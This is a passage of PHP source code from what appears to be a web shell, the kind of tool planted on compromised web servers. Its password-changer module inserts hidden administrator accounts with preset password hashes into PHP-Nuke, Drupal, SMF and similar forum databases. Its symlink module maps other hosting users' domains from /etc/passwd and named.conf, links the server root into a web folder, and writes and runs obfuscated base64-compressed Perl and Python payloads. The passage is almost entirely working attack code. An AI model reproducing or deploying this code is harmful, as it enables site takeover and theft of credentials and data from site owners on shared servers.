\'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,\'".$admin."\',\'e71f2c3265619038d826a1ac6e2b9b8e\',\'ywza68lS\',\'".$SQL."\',\'4\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa8\']) && $_POST[\'alfa8\'] == \'nuke\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| PhpNuke |</div><p><p>\'.getConfigHtml(\'phpnuke\').\'</p><form onsubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'nuke\\\',this.email.value,this.prefix.value); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n \'td8\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Email\', \'inputName\' => \'email\', \'inputValue\' => \'solevisible@fbi.gov\', \'inputSize\' => \'50\')\r\n);\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa4\'];\r\n$password = $_POST[\'alfa5\'];\r\n$admin = $_POST[\'alfa7\'];\r\n$SQL = $_POST[\'alfa9\'];\r\n$prefix = $_POST[\'alfa10\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$hash = md5($pwd);\r\n$solevisible=@mysqli_query($conn,"insert into ".$prefix."_authors(aid,name,email,pwd) values(\'$admin\',\'God\',\'$SQL\',\'d4a590caacc0be55ef286e40a945ea45\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\nif(isset($_POST[\'alfa9\']) && $_POST[\'alfa9\'] == \'drupal\'){\r\n\r\necho __pre().\'<center><div class="txtfont_header">| Drupal |</div><p><p>\'.getConfigHtml(\'drupal\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,null,this.database.value,this.username.value,this.password.value,null,this.admin.value,\\\'drupal\\\'); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'toftof\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true)\r\n );\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa4\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$getDescuid = @mysqli_query($conn,"select uid from users order by uid desc limit 0,1");\r\n$getDescuid = @mysqli_fetch_assoc($getDescuid);\r\n$getDescuid = $getDescuid[\'uid\'];\r\n$getdescuid = $getDescuid++;\r\n$solevisible=@mysqli_query($conn,"insert into users (uid,name,pass,mail,signature_format,status,timezone,init) values(\'$getDescuid\',\'$admin\',\'\\$S\\$DP2y9AbolCBOd\\/WyQcpzu4zF57qE0noyCNeXZWv.37R66VsFjOiC\',\'solevisible@fbi.gov\',\'filtered_html\',\'1\',\'Europe/Berlin\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\r\n$solevisible=@mysqli_query($conn,"select uid from users where name=\'".$admin."\'") or die(mysqli_error($conn));\r\n$sole = mysqli_num_rows($solevisible);\r\nif ($sole == 1){\r\n$solevis = mysqli_fetch_assoc($solevisible);\r\n$res = $solevis[\'uid\'];\r\n}\r\n$solevisible=@mysqli_query($conn,"INSERT INTO users_roles (uid,rid) VALUES (\'".$res."\', \'3\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\n\r\nif(isset($_POST[\'alfa10\']) && $_POST[\'alfa10\'] == \'smf\'){\r\n\r\necho __pre().\'<center><center><div class="txtfont_header">| SMF |</div><p><p>\'.getConfigHtml(\'smf\').\'</p><form onSubmit="g(\\\'pwchanger\\\',null,\\\'>>\\\',this.localhost.value,this.database.value,null,this.username.value,this.password.value,this.prefix.value,this.admin.value,null,\\\'smf\\\'); return false;" method="POST">\';\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'id\'=>\'db_host\',\'inputName\' => \'localhost\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Name\', \'id\'=>\'db_name\',\'inputName\' => \'database\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td3\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db User\', \'id\'=>\'db_user\',\'inputName\' => \'username\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td4\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Db Pass\', \'id\'=>\'db_pw\',\'inputName\' => \'password\', \'inputValue\' => \'\', \'inputSize\' => \'50\'),\r\n \'td5\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Table Prefix\', \'id\'=>\'db_prefix\',\'inputName\' => \'prefix\', \'inputValue\' => \'smf_\', \'inputSize\' => \'50\'),\r\n \'td6\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin User\', \'inputName\' => \'admin\', \'inputValue\' => \'admin\', \'inputSize\' => \'50\'),\r\n \'td7\' =>\r\n array(\'color\' => \'FF0000\', \'tdName\' => \'Admin Pass\', \'inputName\' => \'hi\', \'inputValue\' => \'solevisible\', \'inputSize\' => \'50\', \'disabled\' => true),\r\n );\r\ncreate_table($table);\r\necho \'<p><input value=" " name="send" type="submit"></p></form></center>\';\r\nif ($_POST[\'alfa1\'] && $_POST[\'alfa1\'] == \'>>\'){\r\n$localhost = $_POST[\'alfa2\'];\r\n$database = $_POST[\'alfa3\'];\r\n$username = $_POST[\'alfa5\'];\r\n$password = $_POST[\'alfa6\'];\r\n$prefix = $_POST[\'alfa7\'];\r\n$admin = $_POST[\'alfa8\'];\r\n$conn=@mysqli_connect($localhost,$username,$password,$database) or die(mysqli_error($conn));\r\n$setpwAlg = sha1(strtolower($admin) . \'solevisible\');\r\n$solevisible=@mysqli_query($conn,"insert into {$prefix}members (id_member,member_name,id_group,real_name,passwd,email_address) values(null,\'$admin\',\'1\',\'$admin\',\'$setpwAlg\',\'solevisible@fbi.gov\')") or die(mysqli_error($conn));\r\nif($solevisible){\r\n__alert(\'Success... \'.$admin.\' is created...\');}\r\n}\r\n}\r\necho "</div>";\r\nalfafooter();\r\n}\r\nfunction alfaMakePwd(){\r\n\tif(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){\r\n\t\treturn "/home/{user}/public_html/";\r\n\t}\r\n\t$document = explode("/", $_SERVER["DOCUMENT_ROOT"]);\r\n\t$public = end($document);\r\n\tarray_pop($document);\r\n\tarray_pop($document);\r\n\t$path = implode("/", $document) . "/{user}/" . $public;\r\n\treturn $path;\r\n}\r\nfunction alfaGetDomains($state = false){\r\n\t$state = "named.conf";\r\n\t$lines = array();\r\n\t$lines = _alfa_file(\'/etc/named.conf\');\r\n\tif(!$lines){\r\n\t\t$lines = @scandir("/etc/valiases/");\r\n\t\t$state = "valiases";\r\n\t\tif(!$lines){\r\n\t\t\t$lines = @scandir("/var/named");\r\n\t\t\t$state = "named";\r\n\t\t\tif(!$lines && $state){\r\n\t\t\t\t$lines = _alfa_file(\'/etc/passwd\');\r\n\t\t\t\t$state = "passwd";\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn array("lines" => $lines, "state" => $state);\r\n}\r\nfunction alfaCreateParentFolder(){\r\n\t$parent = $GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__;\r\n\tif(!@is_dir($parent)){\r\n\t\t@mkdir($parent, 0755, true);\r\n\t}\r\n}\r\nfunction alfasymlink(){\r\nalfahead();\r\nAlfaNum(9,10);\r\nalfaCreateParentFolder();\r\n@chdir($GLOBALS[\'home_cwd\'] . "/" . __ALFA_DATA_FOLDER__);\r\necho \'<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symphp\\\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'symperl\\\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,\\\'sympy\\\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\')">| File Symlink | </a></h3></center>\';\r\nif(isset($_POST[\'alfa2\'])&&($_POST[\'alfa2\']==\'symperl\'||$_POST["alfa2"]=="sympy")){\r\n\t$sympath = alfaMakePwd();\r\n\t@mkdir(\'cgialfa\',0755);\r\n\t@chdir(\'cgialfa\');\r\n\talfacgihtaccess(\'cgi\');\r\n\t$perl = \'#!/usr/bin/perl -I/usr/local/bandmin\'."\\n".\'use MIME::Base64;use Compress::Zlib;my $alfa_data="\'.__ALFA_DATA_FOLDER__.\'";eval(Compress::Zlib::memGunzip(decode_base64("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")));\';\r\n\t$py = \'#!/usr/bin/python\'."\\nimport zlib, base64\\nalfa_data=\'".__ALFA_DATA_FOLDER__."\'\\n".\'eval(compile(zlib.decompress(base64.b64decode("eJydWN1z4jgSfzZ/hdZTWcOG2JC6vQdC2MrNTO6manfn6ib7lFAuYQvwjrFckgiwU3N/+3XrwxbgZKbOD1iW+lvdP7VQ4jDpEXiKTc2FItmqUAs9oUcxq+iiZP1Bj+0zVqtJL6iplL2eJVfFhrkxl24kD81QNMv1Lu/1ViVf0DKFMbklYei+t6I03x8+pW//+QHG97SUrKecdUd8ID6mYvX8OJ77i0aIVKJPyyVNc6rogFySMAFPcCYJGyeQq1H1ILas18vZkqyYQhX9mssBeFosGyJrEEwGgqmtqDyLNCGwIFWYF4JlKiRckD6XcU3VOi7ksoAYhglTWVLRDcvjjFfLcEBolZOWCngt0TMtCyqZTMLBwNMZJmu+YcmXrWTia1JvF2WRpWu1KcG1ALjBBBTHqudC8OoxfPfx7R+/vf/9If3Px48P4TyWdVkoUBEOYBs1NzAgX1zzGvY48MdO54V0Ci9kSC4I8sd/8qLqI/VgSIykgQnhhn5msAMZ31ZqSHK+oUU1JMg/JNkuR2/WStW42/ieJEl4iVtmKAc6lmasw/n4Cz7zEINg+aI/6TOVmShgI2nJBDi0YySjlSLLAuJpuOM4DgcRuCkKWAinSkBmHEp2Gym2V1cQ31U1yVilmLiJZlOVz6ZLDpQZL7m4jd7cwzMaRzNjnXZncBlOEySaTROkV3mHyJItFQqkZC3Y8jYy/Gg6sEdEQd4ydRuli5JWn6MTpaPR3fX1yCm1IfG00kZzh7X3944Ro31u7KlNbdUALdaHPGzKovqc4Lg+2K9Y7ZWNAezeZZh8ywcIGzzR7JPhP7M9UWIG2aqTJeepVeNKbnOwNe6XYi+A3U0Fo3mqq8fVbFDIFDJdbWnZTD1T0RAZDAlMHPmuYrpA7CwTAmq0+XQ8j/NeAAYxacf5At3MPpeFVHbKq3bNpZPzyBQr89xst6BxLQgaTbxmVQc+xMisabAgA4Ne5L1+FbzSIpyoVpaM0dhOMEHCTimtmG45EFZjmZERHMXZRP5F0U2oDR0rz+Fy8npMbGQTfyfPonO6z9aq14PmXDgPmlX5Wsw699wPZSP9u7b3xfi9mEYnkYW46glkO0nvQAechHh47/LwJng94JbsuxLwZRss9toSJ+9xHnEZc8CcpQ06Y5NBFlzkDDBkHDlgXUDlrQSAb36l8WXyZqSfmw1gUFFNRoRuFdcAvgZLZ/83zP90BpadwPxOp5h8ndiB8R8Aw98k7QZLB5TwY/1a8PyAuBnsIdRjeC8h6LgzBE5KvUPNXgIBvmIA7aI2mUXzXDAp7QrO6DLBjHj8AZ85ig4A4lPFNrXpxTDDu6BOT3v17/VG8EhGRbYGCQIs0ON+FP/0y18cDAv7MBqE5Es01IZYLAFxhtKK8Mw18zHmQN0fW3rWagugklRROfxpF1oRdgSpXAOQQxsW54twCA4aadiaoSPo8zFcmnbHsju/T3o6xz2watvabyIMp1gMp1m92xY5toRSUdXywWcKC4O43ul4Wg+7geBFb/35dho74CYZTOs3sV6DJ2BA3/TIU3LdIadxAIkeR/PecVj17HjupPnga4Ud8Y/nfj6eCRodL3t5Z6Fo0qQKIIa2+/F6jqb/PBp1RsfT0HSRZqHpfE2z4ULzNXFnm18GFy4PjM6f567fBY8suVcoP5wa7Imy2po0NE01ZKKOk5FlRZ0APt4STsKB94v2+JnYTK7y4+NBg4RObgAJLcs7mIAQX8fbUqUYtqb+O6xxwa7S7610neeWC8Q5Rieo1elWTsrdcmmiQpLfQX7De7LnmB4nUfHlN/UlWpU4aDflKhyG+thzWKG/vXxOoWywpqB4zL6RKw3H8Jz2iQ4xkOxxNGnY57iRxoKjaWdvvjCJB3l3YZQMrZ1eFIEI9rRR2QTkOB6BvY7tnQSbbfouphPTidyTy1vnSJtJTWfneRfTGhqFvJ8vmlp19McnQau7KcCX1LfaPfTqCIOt6UaxiYLfo3cBWWuI5X/BDC8Gvshjh13LkpgjGd7Yu8DRDHcasCjVVZKmuljTFEExTREMvL8TvM7nLdgJ3cmVOtRsQrBnSfA+/1Q9VVMczKb2/C8UKHnLMcyLA7n79f6OPLC730C9XpnqrmdGv+i2J2cZF1QfHBVUy83XaWLWp4kRh6aTxaptb0wbEjaGRdO8eLatFGBOnhfVajIe1fsb23pdLbhSfGPmTOM2Gdd7QHO5BhvfLPVzY7u25VJ3bec9GfY7VztWrNZqsuBlbiZk8RebXP8dJIetz5JDiyhpTn6EPX8uZIEt43+JbZ3IPw7k3we15tU0AdNncPW3ZzEeuQcJu9wPxYZciSXxLru6toECUwT/zuhH3mJkF7M13gtOVpxkc30NE2wpzm/Omm6taJbZo+iN8Qes/YT+fNL+fHD+PFUf9XkvYSpne2jL73lZ8h04+SuIlE/VO31h4uKgCXRQLG9cQ8I8VXd5/gDJZHIJUAzqo17XBJMJf/Djb6Q2SQa0/4LDpYRj+tvkmByb5poQO6cAIHeXOoybeCcKxfpuxcxlJZf4/2Gvq3167Xp3DCfeXwVhexFlXcv2Tgnrp23UEO8m/r3DZCFUT00rd3EwKStYDheGC+jfcQ0Kx5JiKwBC/gejBmkk")),\\\'<string>\\\',\\\'exec\\\'))\';\r\n\t$cginame = "symperl.alfa";\r\n\t$source = $perl;\r\n\t$lang = "perl";\r\n\tif($_POST["alfa2"]=="sympy"){\r\n\t\t$cginame = "pysymlink.alfa";\r\n\t\t$source = $py;\r\n\t\t$lang = "python";\r\n\t}\r\n\t@__write_file($cginame,$source);\r\n\t@chmod($cginame,0755);\r\n\techo __pre();\r\n\t$resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);\r\n\tif(strlen($resource) == 0){\r\n\t\techo AlfaiFrameCreator(\'cgialfa/\'.$cginame);\r\n\t}else{\r\n\t\techo $resource;\r\n\t}\r\n}\r\nif(isset($_POST[\'alfa4\']) && $_POST[\'alfa4\']==\'SymFile\'){\r\nif(function_exists(\'symlink\')||_alfa_can_runCommand(true,true)){\r\nAlfaNum(9,10);\r\necho __pre().\'\r\n<center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\\\'symlink\\\',null,null,null,null,\\\'SymFile\\\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">\r\n<input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />\r\n<input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>\r\n<p><input type="submit" value=" " name="symlink" /></p></form></center>\';\r\n$path = $_POST[\'alfa5\'];\r\n$symname = $_POST[\'alfa6\'];\r\n$solevisible58 = $_POST[\'alfa7\'];\r\nif($solevisible58){\r\n$new_name = str_replace(".", "_", basename($symname));\r\n$rand_dir = $new_name.rand(111,9999);\r\n$sym_dir = \'alfasymlinkphp/\'.$rand_dir.\'/\';\r\n@mkdir($sym_dir, 0777, true);\r\nalfacgihtaccess(\'sym\', $sym_dir, $symname);\r\n_alfa_symlink("$path","$sym_dir/$symname");\r\necho __pre();\r\necho \'<center><b><font color="white">Click >> </font><a target="_blank" href="\'.__ALFA_DATA_FOLDER__."/".$sym_dir.\'" ><b><font size="4">\'.$symname.\'</font></b></a></b></center>\';\r\n}\r\n}else{echo "<center><pre class=ml1 style=\'margin-top:5px\'><b><font color=\\"#FFFFFF\\">[+] Symlink Function Disabled !</b></font></pre></center>";}\r\n}\r\nif(isset($_POST[\'alfa2\']) && $_POST[\'alfa2\']==\'symphp\'){\r\n$cant_symlink = true;\r\nif(function_exists(\'symlink\')||_alfa_can_runCommand(false,false)){\r\n@mkdir(\'alfasymlink\',0777);\r\nalfacgihtaccess(\'sym\',\'alfasymlink/\');\r\n_alfa_symlink(\'/\',\'alfasymlink/root\');\r\n$table_header = "<pre id=\\"strOutput\\" style=\\"margin-top:5px\\" class=\\"ml1\\"><br><table id=\'tbl_sympphp\' align=\'center\' width=\'40%\' class=\'main\' border=\'1\'><td><span style=\'color:#FFFF01;\'><b>*</span></b></td><td><span style=\'color:#00A220;\'><b>Domains</span></b></td><td><span style=\'color:#FFFFFF;\'><b>Users</span></b></td><td><span style=\'color:#FF0000;\'><b>symlink</span></b></td>";\r\nif(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){\r\necho "<center>";\r\n$lines = array();\r\n$anony_domains = array();\r\n$anonymous_users = array();\r\n$f_black = array();\r\n$error = false;\r\n$anonymous = false;\r\n$makepwd = "/home/{user}/public_html/";\r\n$domains = alfaGetDomains();\r\n$lines = $domains["lines"];\r\n$state = $domains["state"];\r\n$is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");\r\n$can_runcmd = _alfa_can_runCommand(false,false);\r\nif(!$is_posix && !$can_runcmd){\r\n\t$anonymous = true;\r\n\t$anony_domains = $domains["lines"];\r\n\t$lines = _alfa_file(\'/etc/passwd\');\r\n}\r\necho $table_header;\r\n$count=1;\r\n$template = \'<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="\'.__ALFA_DATA_FOLDER__.\'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>\';\r\nforeach($lines as $line){\r\n\t$domain = "";\r\n\t$owner = "";\r\n\tif($anonymous){\r\n\t\t$explode = explode(":", $line);\r\n\t\t$owner = $explode[0];\r\n\t\t$owner_len = strlen($owner) - 1;\r\n\t\t$userid = $explode[2];\r\n\t\tif((int)$userid < 500)continue;\r\n\t\t$domain = "[?????]";\r\n\t\t$temp_black = array();\r\n\t\t$finded = false;\r\n\t\tforeach($anony_domains as $anony){\r\n\t\t\tif($state == "named.conf"){\r\n\t\t\t\tif(@strstr($anony, \'zone\')){\r\n\t\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$anony, $data);\r\n\t\t\t\t\t$domain = $data[1][0];\r\n\t\t\t\t}else{\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}elseif($state == "named" || $state == "valiases"){\r\n\t\t\t\tif($anony == "." || $anony == "..")continue;\r\n\t\t\t\tif($state == "named")$anony = rtrim($anony, ".db");\r\n\t\t\t\t$domain = $anony;\r\n\t\t\t}\r\n\t\t\t$sub_domain = str_replace(array("-","."), "", $domain);\r\n\t\t\tif(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){\r\n\t\t\t\tif(in_array($owner.$domain, $temp_black))continue;\r\n\t\t\t\t$sympath = str_replace("{user}", $owner, $makepwd);\r\n\t\t\t\t$http = "http://".$domain;\r\n\t\t\t\techo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);\r\n\t\t\t\t$count++;\r\n\t\t\t\t$temp_black[] = $owner.$domain;\r\n\t\t\t\t$finded = true;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!$finded){\r\n\t\t\t$anonymous_users[] = $owner;\r\n\t\t}\r\n\t}else{\r\n \t\tif($state == "named.conf"){\r\n\t\t\tif(@strstr($line, \'zone\')){\r\n\t\t\t\tpreg_match_all(\'#zone "(.*)"#\',$line, $data);\r\n\t\t\t\t$domain = $data[1][0];\r\n\t\t\t}else{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t}elseif($state == "named" || $state == "valiases"){\r\n\t\t\tif($line == "." || $line == "..")continue;\r\n\t\t\tif($state == "named")$line = rtrim($line, ".db");\r\n\t\t\t$domain = $line;\r\n\t\t}\r\n\t\tif(strlen(trim($domain)) > 2 && $state != "passwd"){\r\n\t\t\tif(!_alfa_file_exists(\'/etc/valiases/\'.$domain, false))continue;\r\n\t\t\tif($is_posix){\r\n\t\t\t\t$user = @posix_getpwuid(@fileowner(\'/etc/valiases/\'.$domain));\r\n\t\t\t\t$owner = $user["name"];\r\n\t\t\t}elseif($can_runcmd){\r\n\t\t\t\t$owner = alfaEx("stat -c \'%U\' 